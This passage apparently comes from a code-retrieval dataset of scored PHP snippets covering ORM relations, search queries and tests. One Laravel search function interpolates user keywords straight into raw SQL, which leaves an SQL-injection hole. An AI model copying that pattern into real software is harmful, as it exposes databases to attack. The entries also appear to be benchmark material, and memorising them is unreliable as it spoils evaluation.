\"InvoiceLine\"){\n $name = \"Contracts\";\n }else{ $name = $nav['@attributes']['Name'];}\n array_push($relations['many'],$name);\n }else{\n if($model==\"Contract\" && $nav['@attributes']['Name'] == \"ClientAlias\"){\n $name = \"Client\";\n }elseif($model == \"Invoice\" && $nav['@attributes']['Name']==\"Client\"){\n $name = \"ClientAlias\";\n }elseif($model==\"Invoice\" && $nav['@attributes']['Name']=='Contract'){\n continue; // this is not really used\n }elseif($model == 'Draft' && $nav['@attributes']['Name']=='Contract'){\n continue; // The contract on the draft will already be in the DraftLines\n } else{\n $name = $nav['@attributes']['Name'];\n }\n array_push($relations['one'],$name);\n }\n }\n }\n\n //add optimize comments to contracts\n if($model == \"Contract\"){\n array_push($relations['one'],'Optimize');\n }\n\n\n if(Request::ajax()){\n $relations = json_encode($relations);\n }\n return $relations;\n }", "title": "" }, { "docid": "01f58b5f12e4776f1e52cf021a8a5b38", "score": "0.5389446", "text": "public function search_related_properties_to_search($property,$collection_id){\n $propertyModel = new PropertyModel;\n $property_data = [];\n $property_object = [];\n $property_term = [];\n $property_compounds = [];\n $properties = $property['metas'][\"socialdb_property_to_search_in\"];\n if(isset($properties) && $properties != ''){\n $properties = explode(',', $properties);\n foreach ($properties as $property_related) {\n $property_related = $propertyModel->get_all_property($property_related, true);\n if($property_related['id'] == $this->terms_fixed['title']->term_id): \n $has_title = true;\n elseif(isset($property_related['metas']['socialdb_property_data_widget'])): \n $property_data[] = $property_related;\n elseif(isset($property_related['metas']['socialdb_property_object_category_id'])): \n $property_object[] = $property_related;\n elseif(isset($property_related['metas']['socialdb_property_term_widget'])): \n $property_term[] = $property_related;\n elseif(isset($property_related['metas']['socialdb_property_compounds_properties_id'])): \n $all_values = [];\n $values = explode(',', $property_related['metas']['socialdb_property_compounds_properties_id']);\n foreach ($values as $value) {\n $all_values[] = $propertyModel->get_all_property($value, true);\n }\n $property_related['metas']['socialdb_property_compounds_properties_id'] = $all_values;\n $property_compounds[] = $property_related;\n endif; \n }\n }\n include dirname(__FILE__).'/../../views/advanced_search/search_property_object_metadata.php';\n }", "title": "" }, { "docid": "70b89b95b2f9d71ac7d22f8886a9440f", "score": "0.5387523", "text": "public function eagerLoadableRelations(): array;", "title": "" }, { "docid": "9d12eed3cf8b495981d365854e0376c3", "score": "0.53856814", "text": "public function testAssociationProxyFindWithComplexConditions(): void\n {\n $table = $this->getTableLocator()->get('Articles');\n $table->belongsToMany('Tags', [\n 'conditions' => [\n 'OR' => [\n 'SpecialTags.highlighted' => true,\n ],\n ],\n 'through' => 'SpecialTags',\n ]);\n $query = $table->Tags->find();\n $result = $query->toArray();\n $this->assertCount(1, $result);\n $this->assertSame(1, $result[0]->id);\n }", "title": "" }, { "docid": "dbd31923dba6ae6521fc762b5faa74c1", "score": "0.5377793", "text": "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t\n\t}", "title": "" }, { "docid": "538e66932fb120cd616405b795e0641b", "score": "0.53760827", "text": "public function searchRelatedVideos()\n {\n $fetch['videos'] = FrontVideoRepository::getallVideo(false);\n if (array_filter($fetch)) {\n return Controller::getSuccessJsonResponse(['message' => trans('video::videos.fetch.success'), 'response' => $fetch]);\n } else {\n return Controller::getErrorJsonResponse([], trans('video::videos.fetch.error'));\n }\n }", "title": "" }, { "docid": "a99ec4085bef11671585197230263a92", "score": "0.5317217", "text": "public function getItemsBy($params = false)\n {\n $query = $this->model->query();\n \n /*== RELATIONSHIPS ==*/\n if (in_array('*', $params->include)) {//If Request all relationships\n $query->with([]);\n } else {//Especific relationships\n $includeDefault = [];//Default relationships\n if (isset($params->include))//merge relations with default relationships\n $includeDefault = array_merge($includeDefault, $params->include);\n $query->with($includeDefault);//Add Relationships to query\n }\n \n /*== FILTERS ==*/\n if (isset($params->filter)) {\n $filter = $params->filter;//Short filter\n \n //Filter by date\n if (isset($filter->date)) {\n $date = $filter->date;//Short filter date\n $date->field = $date->field ?? 'created_at';\n if (isset($date->from))//From a date\n $query->whereDate($date->field, '>=', $date->from);\n if (isset($date->to))//to a date\n $query->whereDate($date->field, '<=', $date->to);\n }\n \n //Order by\n if (isset($filter->order)) {\n $orderByField = $filter->order->field ?? 'created_at';//Default field\n $orderWay = $filter->order->way ?? 'desc';//Default way\n $query->orderBy($orderByField, $orderWay);//Add order to query\n }\n \n //add filter by search\n if (isset($filter->search) && $filter->search) {\n //find search in columns\n $term = $filter->search;\n $query->where(function ($subQuery) use ($term) {\n $subQuery->whereHas('translations', function ($q) use ($term) {\n $q->where('title', 'LIKE', \"%{$term}%\");\n $q->orWhere('slug', 'LIKE', \"%{$term}%\");\n })\n ->orWhere('id', $term);\n });\n \n }\n }\n \n /*== FIELDS ==*/\n if (isset($params->fields) && count($params->fields))\n $query->select($params->fields);\n \n /*== REQUEST ==*/\n if (isset($params->page) && $params->page) {\n return $query->paginate($params->take);\n } else {\n $params->take ? $query->take($params->take) : false;//Take\n return $query->get();\n }\n }", "title": "" }, { "docid": "e45d52e070b8ff21ec5c87c090c28e47", "score": "0.53157264", "text": "public function getRelations($modelName);", "title": "" }, { "docid": "4f8b37ab7bf2635d61c2667b9403af13", "score": "0.5294338", "text": "public function search(Request $request){\n \n \n \n $type = $request->type;\n $keywords = $request->keywords;\n $page_no = $request->page_no;\n $paginationResults = $request->paginationResults;\n\n \n \n // $keywords = trim($keywords); \n // $searchResults = (new Search())\n // ->registerModel(Resource::class, function(ModelSearchAspect $modelSearchAspect) use ($type){\n // $modelSearchAspect->type($type)\n // ->addSearchableAttribute('keywords') // return results for partial matches on usernames\n // // ->addExactSearchableAttribute('email') // only return results that exactly e.g email\n // // resourceCategoryId image 1 video 2 \n // ->with(['category','images','files']);\n // })->search($keywords);\n // $totalResults = $searchResults->count();\n // $searchResults = $searchResults->slice( ($page_no-1)*$paginationResults , $paginationResults);\n // return response()->json([\"data\" => $searchResults , \"page_no\" => $page_no , 'totalResults' => $totalResults , \"status\" => true , \"searchedFor\" => [ \"type\"=>$type , \"keywords\"=>$keywords ] ]);\n $keywordArray = [] ;\n foreach($keywords as $keyword){\n $keywordArray[] = $keyword['value'];\n }\n $keyword = implode(' ', $keywordArray); \n\n $category = Category::find($type);\n $typeArray = [];\n $typeArray[] = $type;\n $categoryChildren = $category->children; \n if($categoryChildren){\n foreach($categoryChildren as $child){\n $typeArray[] = $child->id;\n }\n }\n\n\n $tyeArray =[];\n $results = DB::table('resources')\n ->selectRaw(\"resources.* , resource_categories.title as `category_title`, images.url as uploaded_image_url , resource_files.url as uploaded_file_url ,MATCH(resources.keywords) AGAINST ('$keyword') as `weightage`\") \n ->leftJoin('resource_categories', 'resource_categories.id', '=', 'resources.resource_category_id')\n ->leftJoin('images', function ($join) {\n $join->on('images.imageable_id', '=', 'resources.id')\n ->where('images.imageable_type' , 'App\\Models\\Resource')\n ->where('images.deleted_at' , null);\n })\n ->leftJoin('resource_files', function ($join) {\n $join->on('resource_files.resource_id', '=', 'resources.id')\n ->where('resource_files.deleted_at' , null);\n })\n ->whereRaw(\"MATCH(resources.keywords) AGAINST ('$keyword')\")\n ->whereIn('resources.resource_category_id', $typeArray)\n ->orderByRaw(\"MATCH(resources.keywords) AGAINST ('$keyword') Desc\")\n ->offset(($page_no-1)*$paginationResults )\n ->limit($paginationResults)\n ->get();\n \n $searchResults = collect($results)->map(function ($name) {\n return collect(['searchable'=>$name]);\n });\n \n $totalResults = DB::table('resources')\n ->selectRaw(\"resources.id ,resources.resource_category_id ,resources.keywords ,MATCH(keywords) AGAINST ('$keyword') as `weightage`\") \n ->whereRaw(\"MATCH(keywords) AGAINST ('$keyword')\")\n ->whereIn('resources.resource_category_id', $typeArray)\n ->count();\n \n return response()->json([\"data\" => $searchResults , \"page_no\" => $page_no , 'totalResults' => $totalResults , \"status\" => true , \"searchedFor\" => [ \"type\"=>$type , \"keywords\"=>$keywords ] ]);\n \n \n }", "title": "" }, { "docid": "184101eda587aba80ff5b782c0ff20d3", "score": "0.5293576", "text": "public function toSearchableArray()\n {\n $array = [\n 'id'=>$this->id,\n 'title'=>$this->title,\n 'description'=>$this->description,\n 'category'=>$this->category->name,\n 'user'=>$this->user->name\n \n ];\n \n return $array;\n }", "title": "" }, { "docid": "42e0accddcaf7eaa86d85310ca73c5bf", "score": "0.52893174", "text": "function test_models_multiple_results(){\n\n\t\t// ---- Arrange\n\t\t$this->factory->post->create_many(10, array(\n\t\t\t'post_type' => 'book'\n\t\t));\n\n\t\t// ---- Act\n\t\t$books = $this->app->book->find();\n\n\t\t// ---- Assert\n\t\t$this->assertTrue(true, 'Asserts if the book->find() returns an array');\n\t\t$this->assertInstanceOf('PostObject', $books[0], 'Asserts if is an array of PostObject');\n\n\t}", "title": "" }, { "docid": "7f11b592584710bb213b1617e8078e0b", "score": "0.5276643", "text": "public function hasMany()\n {\n\n /* $specialist = Specialist::find(1);\n $specialist->staff; //Get All Staff Of One Specialist*/\n\n /*$specialist = Specialist::with(['staff',function($query){\n $query->select('salary' , 'specialist_Id');\n } ])->where('Id','2')->first();\n\n foreach ($specialist as $staf)\n echo $staf->salary;\n*/\n $specialist = Specialist::with(['staff' ])->find(2);\n\n\n\n return response()->json($specialist);\n\n\n }", "title": "" }, { "docid": "e0a6bceec5fa421560591e6314f44a42", "score": "0.5270538", "text": "public function getItemsBy($params = false)\n {\n $query = $this->model->query();\n\n /*== RELATIONSHIPS ==*/\n if (in_array('*', $params->include)) {//If Request all relationships\n $query->with([]);\n } else {//Especific relationships\n $includeDefault = [];//Default relationships\n if (isset($params->include))//merge relations with default relationships\n $includeDefault = array_merge($includeDefault, $params->include);\n $query->with($includeDefault);//Add Relationships to query\n }\n\n /*== FILTERS ==*/\n if (isset($params->filter)) {\n $filter = $params->filter;//Short filter\n\n //Filter by date\n if (isset($filter->date)) {\n $date = $filter->date;//Short filter date\n $date->field = $date->field ?? 'created_at';\n if (isset($date->from))//From a date\n $query->whereDate($date->field, '>=', $date->from);\n if (isset($date->to))//to a date\n $query->whereDate($date->field, '<=', $date->to);\n }\n\n //Order by\n if (isset($filter->order)) {\n $orderByField = $filter->order->field ?? 'position';//Default field\n $orderWay = $filter->order->way ?? 'desc';//Default way\n $query->orderBy($orderByField, $orderWay);//Add order to query\n }\n\n // Filter By Menu\n if (isset($filter->menu)) {\n $query->where('menu_id', $filter->menu);\n }\n\n //add filter by search\n if (isset($filter->search)) {\n //find search in columns\n $query->where(function ($query) use ($filter) {\n $query->whereHas('translations', function ($query) use ($filter) {\n $query->where('locale', $filter->locale)\n ->where('title', 'like', '%' . $filter->search . '%');\n })->orWhere('id', 'like', '%' . $filter->search . '%')\n ->orWhere('updated_at', 'like', '%' . $filter->search . '%')\n ->orWhere('created_at', 'like', '%' . $filter->search . '%');\n });\n }\n\n }\n\n /*== FIELDS ==*/\n if (isset($params->fields) && count($params->fields))\n $query->select($params->fields);\n\n /*== REQUEST ==*/\n if (isset($params->page) && $params->page) {\n return $query->paginate($params->take);\n } else {\n $params->take ? $query->take($params->take) : false;//Take\n return $query->get();\n }\n }", "title": "" }, { "docid": "fad937b05f6afdf453021283d7bc2f22", "score": "0.52661324", "text": "public function sons(): HasMany\n {\n return $this->hasMany(Article::class, 'parent_id', 'id');\n // ->with(['post'])->orderBy('pos');\n }", "title": "" }, { "docid": "cc1dfffacddac637bf009ffc52952f92", "score": "0.5260098", "text": "public function getRelationships(): array;", "title": "" }, { "docid": "b1ebaea914d2629c975652115005f91a", "score": "0.52491915", "text": "public function findWhere($parameters,$relationshipNames=[],$trashed = false);", "title": "" }, { "docid": "6fb2022aa335ea1eef7695ca268d8625", "score": "0.524642", "text": "public function searchCriteria();", "title": "" }, { "docid": "9796c038935f11632763aa3d2e86a73e", "score": "0.5245772", "text": "public function get_multiple()\n\t{\n\t\t$options = array_merge(array(\n\t\t\t'offset' => 0,\n\t\t\t'limit' => 20,\n\t\t\t'sort_by' => 'name',\n\t\t\t'order' => 'ASC'\n\t\t), Input::all(), $this->options);\n\n\t\t// Preparing our query\n\t\t$results = $this->model->with($this->includes);\n\n\t\tif(count($this->join) > 0)\n\t\t{\n\t\t\tforeach ($this->join as $table => $settings) {\n\t\t\t\t$results = $results->join($table, $settings['join'][0], $settings['join'][1], $settings['join'][2]);\n\t\t\t\tif($settings['columns'])\n\t\t\t\t{\n\t\t\t\t\t$options['sort_by'] = (in_array($options['sort_by'], $settings['columns']) ? $table : $this->model->table()).'.'.$options['sort_by'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(stripos($options['sort_by'], '.') === 0)\n\t\t{\n\t\t\t$options['sort_by'] = $this->model->table().'.' . $options['sort_by'];\n\t\t}\n\t\t\n\t\t// Add where's to our query\n\t\tif(array_key_exists('search', $options))\n\t\t{\n\t\t\tforeach($options['search']['columns'] as $column)\n\t\t\t{\n\t\t\t\t$results = $results->or_where($column, '~*', $options['search']['string']);\n\t\t\t}\n\t\t}\n\n\t\t$total = (int) $results->count();\n\n\t\t// Add order_by, skip & take to our results query\n\t\t$results = $results->order_by($options['sort_by'], $options['order'])->skip($options['offset'])->take($options['limit'])->get();\n\n\t\t$response = array(\n\t\t\t'results' => to_array($results),\n\t\t\t'total' => $total,\n\t\t\t'pages' => ceil($total / $options['limit'])\n\t\t);\n\n\t\treturn Response::json($response);\n\t}", "title": "" }, { "docid": "a66f753703cc9def1f6e067a9c5b0f53", "score": "0.5235402", "text": "public function findRelatedDataProvider() {\n\t\treturn array(\n\t\t\t'normal' => array(\n\t\t\t\tarray('shop_product_id' => 'active'),\n\t\t\t\tarray(array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'active',\n\t\t\t\t\t\t'name' => 'active',\n\t\t\t\t\t\t'slug' => 'active',\n\t\t\t\t\t\t'shop_product_id' => 'active'\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t),\n\t\t\t'inactive' => array(\n\t\t\t\tarray('shop_product_id' => 'inactive'),\n\t\t\t\tarray(array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'active',\n\t\t\t\t\t\t'name' => 'active',\n\t\t\t\t\t\t'slug' => 'active',\n\t\t\t\t\t\t'shop_product_id' => 'inactive'\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t),\n\t\t\t'multi-category' => array(\n\t\t\t\tarray('shop_product_id' => 'multi-category'),\n\t\t\t\tarray(array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'active',\n\t\t\t\t\t\t'name' => 'active',\n\t\t\t\t\t\t'slug' => 'active',\n\t\t\t\t\t\t'shop_product_id' => 'multi-category'\n\t\t\t\t\t)\n\t\t\t\t), array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'another',\n\t\t\t\t\t\t'name' => 'another',\n\t\t\t\t\t\t'slug' => 'another',\n\t\t\t\t\t\t'shop_product_id' => 'multi-category'\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t),\n\t\t\t'mixed-state' => array(\n\t\t\t\tarray('shop_product_id' => 'multi-category-parent-inactive'),\n\t\t\t\tarray(array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'active',\n\t\t\t\t\t\t'name' => 'active',\n\t\t\t\t\t\t'slug' => 'active',\n\t\t\t\t\t\t'shop_product_id' => 'multi-category-parent-inactive'\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t),\n\t\t\t'normal-conditions' => array(\n\t\t\t\tarray('conditions' => array('ShopCategoriesProduct.shop_product_id' => 'active')),\n\t\t\t\tarray(array(\n\t\t\t\t\t'ShopCategory' => array(\n\t\t\t\t\t\t'id' => 'active',\n\t\t\t\t\t\t'name' => 'active',\n\t\t\t\t\t\t'slug' => 'active',\n\t\t\t\t\t\t'shop_product_id' => 'active'\n\t\t\t\t\t)\n\t\t\t\t))\n\t\t\t),\n\t\t);\n\t}", "title": "" }, { "docid": "6ce7f6195b460479026a3b999c3a7ae5", "score": "0.5230482", "text": "public function getHasManyFields(): array\n {\n $indexesService = new Indexes();\n\n $fieldDetails = $indexesService->getHasManyFields($this->IndexToSearch);\n $result = [];\n foreach ($fieldDetails as $detail) {\n $result[] = $detail['name'];\n }\n\n return $result;\n }", "title": "" }, { "docid": "dc5131ab2d56ea07e59aee8df9d915cc", "score": "0.5228148", "text": "public function toSearchableArray()\n {\n $array = $this->toArray();\n\n // Applies Scout Extended default transformations:\n $array = $this->transform($array);\n\n // Add an extra attribute:\n $array['category_name'] = $this->category->name;\n $array['user_name'] = $this->user->name;\n\n //remove unnecessary attributes\n unset($array['photo_id']);\n unset($array['user_id']);\n unset($array['category_id']);\n\n return $array;\n }", "title": "" }, { "docid": "6f03987ebfc2c23c7ea1c88a6a3875bd", "score": "0.52269876", "text": "public function adminSearch()\n {\n return array(\n 'columns' => array(\n array(\n 'class' => 'ext.yExt.YRelatedColumn',\n 'relation' => 'category0',\n ),\n 'message',\n ),\n );\n }", "title": "" }, { "docid": "631e3be9b20ee65142d4659652a34801", "score": "0.52246714", "text": "public function mapForSearch(): array\n {\n return $this->attributes;\n }", "title": "" }, { "docid": "8f9e06c5d20e2cba344f3db87f2d0176", "score": "0.5223702", "text": "public function getSearchableMaterialsAttribute()\n {\n return $this->materials->map(function ($mat) {\n return $mat->toSearchableAncestorsAndSelf();\n })->flatten(1)->unique('id')->all();\n }", "title": "" }, { "docid": "4dc9e39812f946065de4b01e8f272330", "score": "0.5219946", "text": "public static function search() {\r\n $result = new Collection();\r\n\t\t$key_name = static::getKeyName();\r\n $users = User::all()->toArray();\r\n\t\t$usersRoles = UserRole::all(['user_id', 'role_id'])->groupBy('user_id');\r\n\t\tforeach($users as &$user) {\r\n\t\t\t$user['roles'] = isset($usersRoles[$user[$key_name]]) ? array_pluck($usersRoles[$user[$key_name]], 'role_id') : [];\r\n $result[] = new static($user);\r\n\t\t}\r\n \r\n return $result;\r\n }", "title": "" }, { "docid": "07ea85c94919ce2debc0c2779dde9b57", "score": "0.52080077", "text": "public function products(): MorphToMany;", "title": "" }, { "docid": "111d5c5feca06cb385913ed0ce2cc30c", "score": "0.5206781", "text": "public function toSearchableArray ()\n\t{\n\t\t$array = $this->toArray();\n\n\t\t$array['manufacturer'] = $this->manufacturer->name;\n\t\t$array['disciplines'] = $this->disciplines->pluck('name')->toArray();\n\t\tunset($array['manufacturer_id']);\n\n\t\treturn $array;\n\t}", "title": "" }, { "docid": "3d177bf1b2a041cf277802c048e92be1", "score": "0.5189641", "text": "public function correspondents()\n {\n return $this->belongsToMany(\"Correspondent\");\n }", "title": "" }, { "docid": "010a03412b024f3cca39bc646b7046ff", "score": "0.51782274", "text": "public function getManyAssocValues()\n {\n $res = array();\n foreach ( $this->hasMany as $attr => $type )\n {\n $objectList = $this->attributeValues[ $attr ];\n if ( $objectList == self::NOT_LOADED_ASSOC ) $res[$attr] = array();\n else\n {\n $res[$attr] = array_filter( $objectList ); // Saco nulls del array\n }\n }\n return $res;\n }", "title": "" }, { "docid": "990db67c4368efcc00c50a274925b5b7", "score": "0.5171365", "text": "public function getRelations();", "title": "" }, { "docid": "c225e7899a1f16b2aa16e9f651a0f68c", "score": "0.5171339", "text": "public function get_search()\r\n\t\t{\r\n\t\t\t$retArr = null;\r\n\r\n\t\t\t// Scaffolding Code For Array:\r\n\t\t\t$objs = $this->obj->find_all();\r\n\t\t\tforeach($objs as $obj)\r\n\t\t\t{\r\n\t\t\t\t$retArr[] = $obj->getBasics();\r\n\t\t\t}\r\n\t\t\treturn $retArr;\r\n\t\t}", "title": "" }, { "docid": "22d84bfb7a63dcc74f71fdbbc93131c6", "score": "0.5160318", "text": "protected function generateAdminSearchable()\n {\n $translator = $this->translator();\n $languages = $translator->availableLocales();\n\n $searchKeywords = [];\n\n $searchableProperties = $this->metadata()->get('admin.search.properties');\n\n foreach ($searchableProperties as $propIdent => $searchData) {\n $property = $this->property($propIdent);\n $objValue = $this[$propIdent];\n\n if (empty($objValue)) {\n continue;\n }\n\n if ($property instanceof ObjectProperty) {\n if (empty($searchData['properties'])) {\n continue;\n }\n\n $searchProps = $searchData['properties'];\n $fillKeywords = function ($relObj) use (&$searchKeywords, $searchProps, $translator, $languages) {\n foreach ($searchProps as $searchProp) {\n foreach ($languages as $lang) {\n $relValue = $relObj->get($searchProp);\n $searchKeywords[$lang][] = $translator->translate($relValue, [], null, $lang);\n }\n }\n };\n\n $relObjType = $property->objType();\n if ($property->multiple()) {\n if (!count($objValue)) {\n continue;\n }\n\n $relObjIds = implode($property->multipleSeparator(), $objValue);\n $this->collectionLoader()\n ->setModel($relObjType)\n ->addFilter([\n 'condition' => sprintf('FIND_IN_SET(objTable.id, \"%s\")', $relObjIds),\n ])\n ->setCallback($fillKeywords)\n ->load();\n } else {\n $relObj = $this->modelFactory()->create($relObjType)->load($objValue);\n $fillKeywords($relObj);\n }\n } else {\n foreach ($languages as $lang) {\n $objValue = $property->parseVal($objValue);\n $searchKeywords[$lang][] = $translator->translate($objValue, [], null, $lang);\n }\n }\n }\n\n $this->setAdminSearchKeywords($searchKeywords);\n }", "title": "" }, { "docid": "b84cc44e5f1ce8f43dea8b4830a9224d", "score": "0.51533014", "text": "public function saveManyMany() {\n $revision_id = 1;\n\n //Select \"Cytrus Project\" from client table\n $client_id = 5; \n\n //find \"feature\" from `revision` table\n $client = Client::find($client_id); \n\n //Call revisions() function inside `Client` model then attach `client_id` and `revision_id` in pivot tabele `client_revision`\n $client->revisions()->attach($revision_id);\n\n //We can also detach or in other terms delete the specified id's inside `client_revision` table \n //$client->revisions()->detach($revision_id);\n }", "title": "" }, { "docid": "3408018a8efa493dfc961215a849269c", "score": "0.51510787", "text": "public function searchableBy()\n {\n return [];\n }", "title": "" }, { "docid": "904a374da6c7f3ab218a87b98f1b32ca", "score": "0.5142313", "text": "public function toSearchableArray()\n {\n $relationships = $this->getLoads('other_actions');\n\n $this->load($relationships['all_roles']);\n\n $tableFields = [\n 'id' => $this->id,\n 'equip_user' => isset($this->equip_user->name) ? $this->equip_user->name : '',\n 'equip_contract' => isset($this->equip_contract->contract_number) ? $this->equip_contract->contract_number : '',\n 'equip_type' => isset($this->equip_type->name) ? $this->equip_type->name : '',\n 'equip_mark' => $this->equip_mark,\n 'equip_date_of_release' => isset($this->equip_date_of_release) ? date('d.m.Y', strtotime($this->equip_date_of_release)) : '01.01.1900',\n 'equip_passport' => $this->equip_passport,\n 'equip_years_of_use' => $this->equip_years_of_use,\n 'percentage_of_wear' => $this->percentage_of_wear,\n 'equip_comment' => $this->equip_comment,\n 'created_at' => isset($this->created_at) ? date('d.m.Y H:i', strtotime($this->created_at)) : '01.01.1900 00:00'\n ];\n\n $otherFields = [\n 'id_search' => $this->id,\n 'equip_user_id' => isset($this->equip_user_id) ? $this->equip_user_id : null,\n 'equip_contract_id' => isset($this->equip_contract_id) ? $this->equip_contract_id : null,\n 'equip_type_reference_id' => isset($this->equip_type_reference_id) ? $this->equip_type_reference_id : null,\n ];\n\n return $tableFields + $otherFields;\n }", "title": "" }, { "docid": "6bae2154722f462236daaac212af9b14", "score": "0.51364046", "text": "public function testEagerLoadingBelongsToManyLimitedFields(): void\n {\n $table = $this->getTableLocator()->get('Articles');\n $table->belongsToMany('Tags');\n $result = $table\n ->find()\n ->contain(['Tags' => function (SelectQuery $q) {\n return $q->select(['id']);\n }])\n ->first();\n\n $this->assertNotEmpty($result->tags[0]->id);\n $this->assertEmpty($result->tags[0]->name);\n\n $result = $table\n ->find()\n ->contain([\n 'Tags' => [\n 'fields' => [\n 'Tags.name',\n ],\n ],\n ])\n ->first();\n $this->assertNotEmpty($result->tags[0]->name);\n $this->assertEmpty($result->tags[0]->id);\n }", "title": "" }, { "docid": "c0617b57d606da15c46ac2293fb759bd", "score": "0.5133399", "text": "public function actores(){ //1para tipo objecto devuelvue, tablainterm, 2 y 3parametro claves foraneas\n return $this->belongsToMany('App\\Actor', 'actor_movie', 'movie_id', 'actor_id' );\n\n}", "title": "" }, { "docid": "51cdb3abb63f2e0efa9bac35a15d27fb", "score": "0.5129791", "text": "public function relationsToArray()\n {\n }", "title": "" }, { "docid": "6819fd4fd4c6da8d85203ec96a26e2b0", "score": "0.51190984", "text": "public function toSearchableArray() {\n return [\n 'id' => $this->id,\n 'name' => $this->name,\n ];\n }", "title": "" }, { "docid": "032d8460a4baec5fe022eba8daf8f99b", "score": "0.5117709", "text": "public function toSearchableArray()\n {\n return $this->only('title', 'description', 'comments_number', 'publish');\n }", "title": "" }, { "docid": "ee90f8bd58f3cd65196f86b2fe198188", "score": "0.51156175", "text": "public function getUserRelations($model){\n // relations we want to update\n $allowed = ['Booker','User','Manager','ClientManager','Assigned'];\n $model = $this->getEntity($model);\n $rels = [];\n foreach ($model['NavigationProperty'] as $item){\n if(in_array($item['@attributes']['Name'] ,$allowed)){\n array_push($rels,[$item['@attributes']['Name'],$item['ReferentialConstraint']['@attributes']['Property']]);\n }\n }\n\n if(Request::ajax()){\n $rels = json_encode($rels,true);\n }\n\n return $rels;\n }", "title": "" }, { "docid": "cb46f69e0fe3acf90f8c23349dc3ff6e", "score": "0.51124454", "text": "public function toSearchableArray()\n {\n return [\n 'id' => $this->id,\n 'name' => $this->name,\n 'email' => $this->email,\n 'roles' => optional(optional($this->roles)->pluck('role'))->implode(',')\n ];\n }", "title": "" }, { "docid": "e75b9acd19bb53e6c9c2eda482e2a8f5", "score": "0.51122063", "text": "public function search($params)\n{ \n $query = ItemsSupplieirs::find()\n ->innerJoin('items','items.ITEM_ID=items_supplieirs.ITEM_ID')->innerJoin('items_trans','items.ITEM_ID=items_trans.ITEM_ID');\n\n $this->load($params); \n\n\n\n if(!empty($this->ItemName)){\n Yii::error(\"this->ItemName : \" .$this->ItemName);\n $query->filterWhere(['like','items_trans.ITEM_NAME',$this->ItemName]);\n \n }\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n 'pagination' => false,\n ]);\n\n $dataProvider->sort->attributes['ItemName'] = [\n 'asc' => ['items_trans.ITEM_NAME' => SORT_ASC],\n 'desc' => ['items_trans.ITEM_NAME' => SORT_DESC]\n ];\n\n\n\n return $dataProvider;\n}", "title": "" }, { "docid": "b4259a21e1ae47e9b69e4daf11167481", "score": "0.51031613", "text": "public function getTags()\n {\n \n return $this->hasMany(Tag::className(), ['id' => 'tag_id'])->viaTable('tag_post', ['post_id'=>'id']); \n }", "title": "" }, { "docid": "2d7aec7044bdb4a0c9df616684648f83", "score": "0.5103007", "text": "public function testAssociationProxyFindWithConditions(): void\n {\n $table = $this->getTableLocator()->get('Articles');\n $table->belongsToMany('Tags', [\n 'conditions' => ['SpecialTags.highlighted' => true],\n 'through' => 'SpecialTags',\n ]);\n $query = $table->Tags->find();\n $result = $query->toArray();\n $this->assertCount(1, $result);\n $this->assertSame(1, $result[0]->id);\n }", "title": "" }, { "docid": "4a0dbb55106b94533554b6aa3c8c75e2", "score": "0.5099889", "text": "public function getQuerySet()\n {\n return call_user_func([$this->getModelClass(), 'objects']);\n }", "title": "" }, { "docid": "bca56391f3b0a61dbf072ba361fddb2a", "score": "0.509723", "text": "public function getRelationships();", "title": "" }, { "docid": "c8b4df10979a93b90967985c2f0b31e6", "score": "0.50961834", "text": "public function getAll( $model);", "title": "" }, { "docid": "5c5084da01a3d18e3878dff9220c3a43", "score": "0.5092706", "text": "public function getModels();", "title": "" }, { "docid": "f1073cbddf691664ec55496e58b6e535", "score": "0.509132", "text": "public function testBelongsToManyAssociationWithArrayConditions(): void\n {\n $table = $this->getTableLocator()->get('Articles');\n $table->belongsToMany('Tags', [\n 'conditions' => ['SpecialTags.highlighted' => true],\n 'through' => 'SpecialTags',\n ]);\n $query = $table->find()->matching('Tags', function (SelectQuery $q) {\n return $q->where(['Tags.name' => 'tag1']);\n });\n $results = $query->toArray();\n $this->assertCount(1, $results);\n $this->assertNotEmpty($results[0]->_matchingData);\n }", "title": "" }, { "docid": "6736a5bca6f0fcff6f658ee73c541284", "score": "0.5082382", "text": "public function toSearchableArray() {\n\t\t$this->load('user');\n\n\t\treturn $this->toArray();\n\t}", "title": "" }, { "docid": "7e9db1b83aff05c4d874f6fc1fd9cfd8", "score": "0.5078451", "text": "public function existsHasMany($modelName, $modelRelation);", "title": "" }, { "docid": "39facb120128801964452ed21cb846dd", "score": "0.5077947", "text": "public function models()\n {\n return $this->hasMany('App\\Models')->select(['id', 'title', 'slug' , 'brand_id']);\n }", "title": "" }, { "docid": "adfed34f8a3346369564292c2e669214", "score": "0.5076802", "text": "abstract protected function resolveHasManyRelationship($relation);", "title": "" }, { "docid": "660dec836bd0235003c6667c135f5ef1", "score": "0.5075107", "text": "public function books() {\n return $this->belongsToMany(Book::class)->orderBy('title');\n }", "title": "" }, { "docid": "4bc992dc2d02dbc379d835bf35c658f8", "score": "0.5075043", "text": "public function moviesActed(){\n return $this->belongsToMany('App\\Movie', 'actor_movie', 'id_actor', 'id_movie'); \n }", "title": "" }, { "docid": "0a11540f9c8cc335bc3eb956cd4e60ea", "score": "0.5071651", "text": "public function filtersBySearch($search){\n $search;\n if($search=='all'){\n $products = DB::table('products')\n ->join('subcategories', 'products.subcategory_id', '=', 'subcategories.id')\n ->join('categories', 'subcategories.category_id', '=', 'categories.id')\n ->select('products.*', 'categories.categories_name')\n ->Paginate(12);\n // dd($product);\n return json_encode($products);\n }\n else{\n $products = DB::table('products')\n ->where('name','LIKE', '%' . $search . '%')\n ->join('subcategories', 'products.subcategory_id', '=', 'subcategories.id')\n ->join('categories', 'subcategories.category_id', '=', 'categories.id')\n ->select('products.*', 'categories.categories_name')\n ->Paginate(12);\n return json_encode($products);\n }\n }", "title": "" }, { "docid": 